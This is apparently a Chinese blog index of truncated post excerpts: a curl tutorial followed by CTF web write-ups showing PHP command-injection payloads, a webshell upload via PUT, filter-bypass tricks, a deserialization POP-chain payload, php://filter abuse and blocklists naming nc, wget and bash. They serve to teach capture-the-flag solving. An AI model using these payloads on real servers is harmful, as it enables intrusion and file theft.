Curl命令详解
curl命令详解命令概要该命令设计用于在没有用户交互的情况下工作。
curl 是一个工具,用于传输来自服务器或者到服务器的数据。「向服务器传输数据或者获取来自服务器的数据」
可支持的协议有(DICT、FILE、FTP、FTPS、GOPHER、HTTP、HTTPS、IMAP、IMAPS、LDAP、LDAPS、POP3、POP3S、RTMP、RTSP、SCP、SFTP、SMTP、SMTPS、TELNET和TFTP)。
curl提供了大量有用的技巧,比如代理支持、用户身份验证、FTP上传、HTTP post、SSL连接、cookie、文件断点续传、Metalink等等。正如你将在下面看到的,这些特性的数量会让您头晕目眩!
访问的URL你可以在命令行上指定任意数量的url。它们将按指定的顺序依次获取。
你可以指定多个url,或url的部分通过在花括号内编写部分集,如:
1231 http://site.{one,two,three}.com2 # 参见3 curl http://www.zhangblog.com/2019/06/16/hexo{04,05,06& ...
NSSCTF题目练习
NSSCTF题目练习[羊城杯 2020]easycon
御剑扫到2个相关,访问url/index.php跳转到
之后出现
那个弹窗eval post cmd应该是提示,
果然,可以执行命令,我们cmd=system(“cat b*”);
发现出现一堆编码,猜测是base64转图片。转换得到flag
[NSSRound#1 Basic]basic_checkbp抓包,改请求方式为PUT,写个一句话木马
发现1.php被写入成功
回到网页访问,执行命令
##[MoeCTF 2022]ezhtml
查看页面源代码,在evil.js文件里发现flag
[NISACTF 2022]middlerce123456789101112131415161718 <?phpinclude "check.php";if (isset($_REQUEST['letter'])){ $txw4ever = $_REQUEST['letter']; if (preg_match('/^ ...
山河Ctf
山河ctfWEB[week1]飞机大战控制台执行won()可得flag
###[week1]babyrce
1234567891011121314 <?php$rce = $_GET['rce'];if (isset($rce)) { if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) { system($rce); }else { echo "hhhhhhacker!!!"."\n"; }} else { highlight_file(__FILE__);}
发现好玩的
uniq11${IFS}/fla?
12/bin/?at${IFS ...
Newstar
new starweek 4
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad”;s:3:”cmd”;s:7:”cat /f*”;}
打开链接,存在很多个类,很明显是php反序列化漏洞利用,需要构造pop链 ,
关于pop链构造的详细步骤教学,请参考我之前的博客,真的讲得很详细也容易理解:
http://t.csdnimg.cn/wMYNB
如果你是刚接触php反序列化利用的题,那么建议先看基础的原理知识:
http://t.csdnimg.cn/xhqzq
http://t.csdnimg.cn/jzQjt
http://t.csdnimg.cn/IHpEq
由于这道题还出现了
throw new Exception(“Nope”);
这个throw就是GC回收(垃圾回收机制),这里需要绕过它。
首先我们需要知道:
在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。
当一个类创 ...
2023年SWPU NSS 秋季招新赛 (校外赛道)
2023年SWPU NSS 秋季招新赛 (校外赛道)一键连接!1234567891011121314151617181920212223<?phphighlight_file(__FILE__);error_reporting(0);$md5_1 = $_GET['md5_1'];$md5_2 = $_GET['md5_2'];$sha1_1 = $_GET['sha1_1'];$sha1_2 = $_GET['sha1_2'];$new_player =$_GET['new_player'];if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) { if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) { if (file_get_contents($new_player) === " ...
File_put_contents利用技巧(php://filter协议)
file_put_contents利用技巧(php://filter协议)1234<?php$content = '<?php exit; ?>';$content .= $_POST['txt'];file_put_contents($_POST['filename'], $content);
$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法。
#方法一、base64编码
使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。
众所周知,base64编码中只包含64个可打印字符(A-Z a-z 0-9 + /)’=’补位,而PHP在解码base64时,遇到不 ...
香山杯
香山杯PHP_unserialize_pro123456789101112131415161718192021222324252627282930313233343536373839404142434445464748<?phpclass Welcome{ public $name='A_G00d_H4ck3r'; public $arg = 'welcome';// public function __construct()// {// $this->name = 'Wh0 4m I?';// } public function __destruct() { if ($this->name == 'A_G00d_H4ck3r') { echo "1".$this->arg='1'; ...
Pear命令读文件
Pear命令读文件12345678910111213141516 <?php error_reporting(0); if(isset($_GET['file'])) { $file = $_GET['file']; if(preg_match('/flag|log|session|filter|input|data/i', $file)) { die('hacker!'); } include($file.".php"); # Something in phpinfo.php! } else { highlight_file(__FILE__); }?>
payload:?+config-create+/&file ...
命令注入盲注读取文件
命令注入盲注读取文件这实际上是有2道题,但是源码一样,权限不一样。
源码:
12345678910111213141516<?phperror_reporting(0);function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); }}if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c);}else{ ...
无题
无参RCE0x00前言刷buu的时候遇到一道题,[GXYCTF2019]禁止套娃,涉及到无参数RCE,但是我不会,记录一下学习过程。 实例
12345if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))
解析
1234preg_replace 的主要功能就是限制我们传输进来的必须是纯小写字母的函数,而且不能携带参数。再来看一下:(?R)?,这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)preg_m ...